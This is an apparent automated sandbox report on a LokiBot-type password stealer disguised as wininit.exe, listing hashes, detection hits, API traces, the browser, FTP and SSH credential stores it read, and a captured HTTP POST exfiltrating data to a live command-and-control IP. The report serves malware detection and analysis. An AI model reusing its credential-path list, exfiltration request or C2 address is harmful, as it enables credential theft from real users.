popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

wininit.exe

Generic Malware Admin Tool (Sysinternals etc ...) Socket DNS PWS AntiDebug PE File PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 July 7, 2021, 6:40 p.m. July 7, 2021, 6:41 p.m.
Size 1.1MB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 fb7b2bec96a0b729f4fa0c0034d133e7
SHA256 9a3b8a078a8584c23d59b49712998c0166d0d34596ac2f1b2901bdc2ffab9e15
CRC32 B487A332
ssdeep 24576:46+HiOmkAXL5eXhke9K2Ud8KLHi5yQO0biYuWOBfWlB:46UmkAFeXhhH28XFbiBBBE
Yara
  • Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult
  • PE_Header_Zero - PE File Signature
  • Admin_Tool_IN_Zero - Admin Tool Sysinternals
  • Generic_Malware_Zero - Generic Malware
  • Is_DotNET_EXE - (no description)
  • IsPE32 - (no description)

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
63.141.228.141 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49165 -> 63.141.228.141:80 2021641 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected
TCP 192.168.56.102:49165 -> 63.141.228.141:80 2025381 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected
TCP 192.168.56.102:49165 -> 63.141.228.141:80 2024312 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 A Network Trojan was detected
TCP 192.168.56.102:49165 -> 63.141.228.141:80 2024317 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2 A Network Trojan was detected
TCP 192.168.56.102:49168 -> 63.141.228.141:80 2021641 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected
TCP 192.168.56.102:49168 -> 63.141.228.141:80 2025381 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected
TCP 192.168.56.102:49168 -> 63.141.228.141:80 2024313 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected
TCP 192.168.56.102:49168 -> 63.141.228.141:80 2024318 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 63.141.228.141:80 2021641 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected
TCP 192.168.56.102:49167 -> 63.141.228.141:80 2025381 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 63.141.228.141:80 2024312 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 A Network Trojan was detected
TCP 192.168.56.102:49167 -> 63.141.228.141:80 2024317 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2 A Network Trojan was detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00374c10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00374290
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00374290
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
wininit+0x12fdd @ 0x412fdd
wininit+0x1296e @ 0x41296e
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77259ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77259ea5

exception.instruction_r: 8a 0a 88 0c 17 42 4e 75 f7 5f 5e 5d c3 55 8b ec
exception.symbol: wininit+0x2b41
exception.instruction: mov cl, byte ptr [edx]
exception.module: wininit.exe
exception.exception_code: 0xc0000005
exception.offset: 11073
exception.address: 0x402b41
registers.esp: 48822840
registers.edi: 39382717
registers.eax: 48824352
registers.ebp: 48822848
registers.edx: 9482240
registers.ebx: 48824352
registers.esi: 1819071947
registers.ecx: 44
1 0 0
suspicious_features POST method with no referer header, HTTP version 1.0 used, Connection to IP address suspicious_request POST http://63.141.228.141/32.php/S4wFP8QBww9Tp
request POST http://63.141.228.141/32.php/S4wFP8QBww9Tp
request POST http://63.141.228.141/32.php/S4wFP8QBww9Tp
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 1507328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00680000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1908
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x728e1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1908
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x728e2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 851968
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00680000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00710000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00512000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00585000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0058b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00587000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0056c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0051a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0057a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00577000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0056a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef58000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006f1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1908
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6f512000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0056d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006f3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006f4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006f6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006f7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006f8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006f9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006fa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006fd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006fe000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006ff000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00576000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceW

 number_of_free_clusters: 3129920
sectors_per_cluster: 8
bytes_per_sector: 512
root_path: \
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 3129920
sectors_per_cluster: 8
bytes_per_sector: 512
root_path: \
total_number_of_clusters: 8362495
1 1 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Login Data
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data
file C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
file C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Login Data
file C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
Time & API Arguments Status Return Repeated

MoveFileWithProgressW

 newfilepath_r: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe
flags: 1
oldfilepath_r: C:\Users\test22\AppData\Local\Temp\wininit.exe
newfilepath: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe
oldfilepath: C:\Users\test22\AppData\Local\Temp\wininit.exe
1 1 0
section {u'size_of_data': u'0x0010bc00', u'virtual_address': u'0x00002000', u'entropy': 7.649982441862759, u'name': u'.text', u'virtual_size': u'0x0010bb6c'} entropy 7.64998244186 description A section with a high entropy has been found
entropy 0.982568807339 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
url http://www.ibsensoftware.com/
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Win32 PWS Loki rule Win32_PWS_Loki_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
host 63.141.228.141
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2312
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000264
1 0 0
file C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file C:\Users\test22\AppData\Roaming\FTPGetter\servers.xml
file C:\Users\test22\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
file C:\Users\test22\AppData\Roaming\GHISLER\wcx_ftp.ini
file C:\Users\test22\AppData\Roaming\wcx_ftp.ini
file C:\Windows\wcx_ftp.ini
file C:\Users\test22\wcx_ftp.ini
file C:\Windows\32BitFtp.ini
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Program Files (x86)\FileZilla\Filezilla.xml
file C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
file C:\Users\test22\AppData\Roaming\FileZilla\filezilla.xml
registry HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Ghisler\Total Commander
registry HKEY_CURRENT_USER\Software\VanDyke\SecureFX
registry HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
registry HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
registry HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
registry HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
registry HKEY_CURRENT_USER\Software\Martin Prikryl
registry HKEY_LOCAL_MACHINE\Software\Martin Prikryl
file C:\Users\test22\AppData\Roaming\.purple\accounts.xml
Time & API Arguments Status Return Repeated

connect

 ip_address: 63.141.228.141
socket: 428
port: 80
1 0 0

send

 buffer: POST /32.php/S4wFP8QBww9Tp HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 63.141.228.141 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B78A3212 Content-Length: 3718 Connection: close
socket: 428
sent: 248
1 248 0

send

 buffer: 'ckav.ru test22TEST22-PCtest22-PCkô/086627BC41D896D6F4DE8430FFScQeÌ !ᘠè/ƒŸ@ Moz8il¼aUser×P>®fðnc? ?DOÜNÝTÞEI »H«SóFËLê.ˆ¾¹fŽyouámakeðchìnogr¦toöiÍf°ž*w¨Ø apãëãc·¾‡onÌ=rwuñÿ*`,GÐ@?¢w¯¬b oQvŠó—×t6 E¿2x:sœ‹)ToC·JÅp-Èõvøluú,¦¦ÙpkiŠr:2”-¸odify†tNða¨aUIü(ì.rg«“b lt:cØËgFJ‚brÒwE+);¡©F²t†Cw·ÙKnu‰A.j;@$|r«“µ .X!_!¤("SÑ.ÿµdÒ4ÞØ|ofmÔr(d"³ý!#ãCÎ.å³sÊU †Tim{õ-bùck·€Þ¯Þé';óÌ;r›16043}594S¿GMó7Ä;›HÒrAŸ- “gýÏõ;Pt!29ÞHr¢I§$-}¶Ž¬ÄpoÇ8éºEñëNT¦£ PwyM_3ushdµ y5ZLå@Éj8Ó!UÐ95ó³xAvð !nu½TY H½M ÐP£8¤oH^¤3Dÿç2·8<tCê0æ9÷Ø4EßæzU«{¿ÈÌL &lªgfŸ s1òn(Q. F”X˜gøk÷ém4MtY_ÕØq52)387TÍp˜fyc78â4¢«3I“jºyHum_ÒF,QÅ1;9Qf—wüPÒ \RiÙê ^ÚÌ6c®mÎÒt¼ó¹Oçù›Æ˜247ó!ƒ¦‡:df~»0½185uxc\fu672T"Oùšg£C0Í+FŠ.7Ã-mÌÇN]a¥ê‰èé#¶úgJM© t‡U҅^m'¦1홈"¿H*pRÔdagéV]¦diUHµz-YÞ+J:/4eýbÕ,z’&½ºè)BA˜D/SeÇýê5~9uiÙÏ,sÊÅ3m&5vÊlDz:L.©oj=i&“·ÌòdEϊh?ÓKA@S.ubsu*PsAé¦N+”VŠ²1·KÇND1…Ÿ–T$ìË;¿_¼z‘SÉxt<{Ãp‚ ThP<(ID9idBˆžð-¨s@ž­e. gEÖIbz,kŸk¥kCÉuÓ+08RÉbÓ6ScÛæY+32-RCÚArtýwx\«´¶nô/AGxÊ66ԂÑaêgóÜò*© 3BšApSBdŽdIW3©0 1w9ñ!ŽÉ8þ¿;©>Îa78.4É0^3ÍP Ñf ¤m§8qpe S®O%r‘Òs3Îô-3sâSEL^z f{\¸¦EÃ:1,O #s{}k|YwñbK8u÷zd¦NÔ4\5a( M@¥"¤'Œ&bûÏ·ÏûDdÁ2€Kf80w5x-õ×Ç_6¯9_ädcÃX×/]6|ýí L”“Òr#G98‹3 1a-Ùf,zcֆ•˜5 a7ã÷mª06¢˜G8goóil€æXW.G™†4Aü3cqܽ‚éÂeËÜ÷oò‡ßÏ:¶¯agŽ¥g>DH¿ 70fvËoˆ’Yˆa½hÒ¿g{eŽÞa葊DÂ~ȼ-kçOI“ ôb† 4e?6 Ia4b¥/<d{°,‚ØI` um­Hhýfb2€Ëd0°ƒH¬æUöC{³7v0îc“wik)‰HOa>J62äêÂBb-fFf‚›œˆc’72(´aƒÉ68Ê5ÕJöbKâÌAEt8`CMâ7„Ëeƒõ8v†£æ¾šf5š6¯ªƒ'ÔAÒ13Yß 0n“mXf3Éd g55eTh”ä"Üñ%…ÞB¿Ùê3LEÅi‹f ÜdQÞ£¾sp­)˜DuMC©s²…2qx ãyUrÏåj:“ lûdÕj9“[E¾rn.9Žs¾¯+ëBñß°øbÐ2¯GßÐ:ïFߐ9ïFߑ9ýÙ7mYZ-ü…ÔH5]£Ïh4]£Êh4ÔþiLz†­1“ *´mË 2´9È 1´9Å1ÅvaEÝbl(½7¥)R<¼…1z»…0zº0gx.cÛ8h-Óu>bdr¸Cq1°HiyBâJY·\@È¢/‰åì….0xŒ4`;>Ý-ǁð6.1ä7ê0ã½ 385Kwfefï-d2Ÿá¡>^‚@jp7iêGs)s25XdiÅct˜ß(„idÈDéïÕæJÞ·27¡Qi0 l¾Dmz™"q¬shíÜÿ‡n-US‚koEEJùRØÆ÷iE‘™ý 2mðg.pu¾IXes-ÝÑ_f=ßkP6m;Ì~bÓa\ºckµ×?6ϐ)12z ˜jŠ11/$H¬9Ð 1t7«<2ÈNhݪ;ΉæT\.7Ñnâ2=©®Key‹øÐ'æé+ rȑhßSÝbz"•AjçiŽþöÂUsEûåå1øŸÞ‡smtÚ1OR³K¾íi‚‰_ð-ßP<s‘»VŒšÞ®ú´w»©© ,S?wÍ¡4֕‰jËæyž¬5”_mšg'$bäx¸m;n`dy@L‘'%20FL*)/A3<«"]ú^lºhsMl×é5XÅafiôQD1Ž.YŠsZmL` kÉm̘R0@¨f˜>‡—ÑS¡wU܍’ÒCPŠNtØË(BoUµH¢¿DÓËèT¸tJpÅ].óžtU{ѐ¢ÒQ@"HB<©nsår"-ëÑnÛzeTo)… yk),np¤ã_ÜoedÞC:\oK§ž„q2Ò°D—Œ>Rwo̯gT•–œËPyu°cg8t\0267(ý-ÛÌ0ΚÌ4NË"¯~m\hÊ[Q D]3~]o•7MÞ§ÕB«‹^1orå0SÝì+hº"™Õc,µ–§Y´_6n²&Ë,ŒU¡» ÇãÑp'>¯G|S<© 15­¸MÑÑ|é­C1ô£jC-12 …íy?¼æ ±— t>šÐÚ¼/§Nøho¢ÐÔ¿è=§&TF.¶Í'ìQ2èl 99Ò<­u개인€í´ë!”tnBx÷D0.—Á<mAc“<TÿŸ©¯Æµ¹©^…›ÒÖU¿Ë„ûìbkÊÆiž|/ts«#Ëb&\k•y;1\®[2PB0¹§ÀFÒB6©oE†nCüqŠSšFTé»Ír6<›3W¬kM¢-©‘–/±)/E|›!H4_&÷2Ù¤{%ðkH£.)Ø"–ü­MHJ_¦¿õ2é ¡1¼NִϪ¸2‡8úóh¤ cs$kDšÇCõi±Ò9½Šhow°§•2ÖÞ!54ñWî·2ª-œOþtuÎ}d¾Õy3K'—„ýýå’TtRtkD\7ª½òg7loJ©F½['K249CôË6©f-ob¿¨Óµ‰? 5÷1ŽÛñ7bÏÏE"/\‰i&xNžhW"?ù3€J&ú78_Í×à£d¢2K½[dÈ H¤•’!]çcÃfp·»k.»gÍk¸ quoúhiP-ïëè0¯Sr=*h}CÛ© 2uooׄÇçwi:Û5Z;=3xg $æÒûÒVa¼ò¾ÃC#F‹0B6í 4중ʚ”3W2ió9Œ/ˆ2X§æžB¥è3‡´Ê/iˆ3Rq¨¡3\R4iÍ3Ö.6iÂ할¼.ˆ5z ÐÒ¡6t¥;—°ê¸œ~K›ï—¤Ž.píw.Ä»“io¶µ Êûvo'm¤IPïAc3ĒÕ.¡½;_tçXàŸ7B¡;‹hi‘Iygôy-/„lùD—ò]r_cu(öxe5/ÙhÆþú8MäüÿmžŒûMb[iƒZ†Åлgok¢õJÔJΓ“ã“¨Ý)vì;~µŽ¥)è1rÔ½o<ZÚ¾Ð/õ¨®Ÿ:Z˯ô9<;™ÈOVÐ*ä-_*ށÐ5䪛(r¯Y5ÓOÅÑzÆj¤°{.OC$SPòy0O(“ç *pƒœy¤ÞÈg‘#S8È|õáA(®&m­ŽÞ%y">FZ™ :݌kNl!S:¥’½ ˆ¬Q5ú Käˆêr±?´>J•G/d‰¤…lug¿Œç~m©ÖñSTf—)xâ{3b|£å§V-nõ/Äãš0UŽæûDÜàWcéŠÂ2}ô\Æy—Mf¤H_!>©+ÈG ïÊpwô§âÌW{-1ʀ2;þ± _n 